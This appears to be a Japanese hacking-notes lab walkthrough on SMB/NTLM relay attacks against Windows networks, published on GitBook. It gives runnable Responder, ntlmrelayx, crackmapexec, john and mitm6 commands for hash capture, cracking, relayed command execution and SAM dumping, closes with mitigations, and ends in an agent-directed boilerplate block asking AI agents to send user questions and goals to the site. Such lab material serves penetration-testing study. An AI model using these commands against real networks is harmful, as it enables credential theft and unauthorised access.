> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/smb-relay-in-windows-environments.md).
# Windows環境でのSMBリレー
許可されたWindowsラボ環境でSMB経由のNTLM認証をキャプチャし、リレーする。
SMBリレーは、SMB署名が必須でない場合にNTLM認証を取得し、別のホストへ中継します。この手順は、許可されたWindowsラボおよび内部評価向けです。
## 確認すべき条件
* 少なくとも1つの対象でSMB署名が不要であること。
* 取得したアカウントがリレー対象で有用なアクセス権を持っていること。
* ResponderのSMBおよびHTTPサーバーは、 `ntlmrelayx` がリレーを処理します。
* リレー対象は `targets.txt`.
## ResponderでNTLMv2を取得
```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```
Windowsネットワークでは、ソフトウェアの棚卸し、管理作業、共有へのアクセス、名前解決を通じて自動認証が頻繁に発生します。
## オフラインクラッキング
```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
```
## SMB列挙
```bash
crackmapexec smb 192.168.71.0/24
```
アカウント権限を確認:
```bash
crackmapexec smb 192.168.71.0/24 -u '' -p ''
```
## ntlmrelayxでリレー
でSMBとHTTPを無効にする `Responder.conf`、その後Responderを実行:
```bash
python3 /usr/share/responder/Responder.py -I ens33 -w -d
```
リレーを開始:
```bash
ntlmrelayx.py -tf targets.txt -smb2support
```
## リレーによるコマンド実行の検証
コマンド実行が対象に含まれる場合は、まず影響の少ないコマンドでリレーを検証します:
```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
```
より明確な証拠として、実行コンテキストをリレー対象の一時ファイルに書き込みます:
```bash
ntlmrelayx.py -tf targets.txt -smb2support -c "cmd /c whoami > C:\Windows\Temp\relay-check.txt"
```
## mitm6を使ったIPv6版
```bash
mitm6 -d j0rdan.local
```
IPv6リレー:
```bash
ntlmrelayx.py -6 -wh 192.168.71.128 -t smb://192.168.71.151 -socks -debug -smb2support
```
プロキシ経由でリレーを使用します:
```bash
proxychains cme smb 192.168.71.151 -u '' -p '' -d '' --sam
```
## 重要ポイント
* SMBリレーは主に、SMB署名が不要であることに依存します。
* Responderと `ntlmrelayx` SMBまたはHTTPトラフィックを競合しないように設定する必要があります。
* SMB署名を必須にし、NTLMの使用を減らし、LLMNR/NBNS/WPADの悪用を監視し、ローカル管理者権限を制限することで対策します。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/smb-relay-in-windows-environments.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)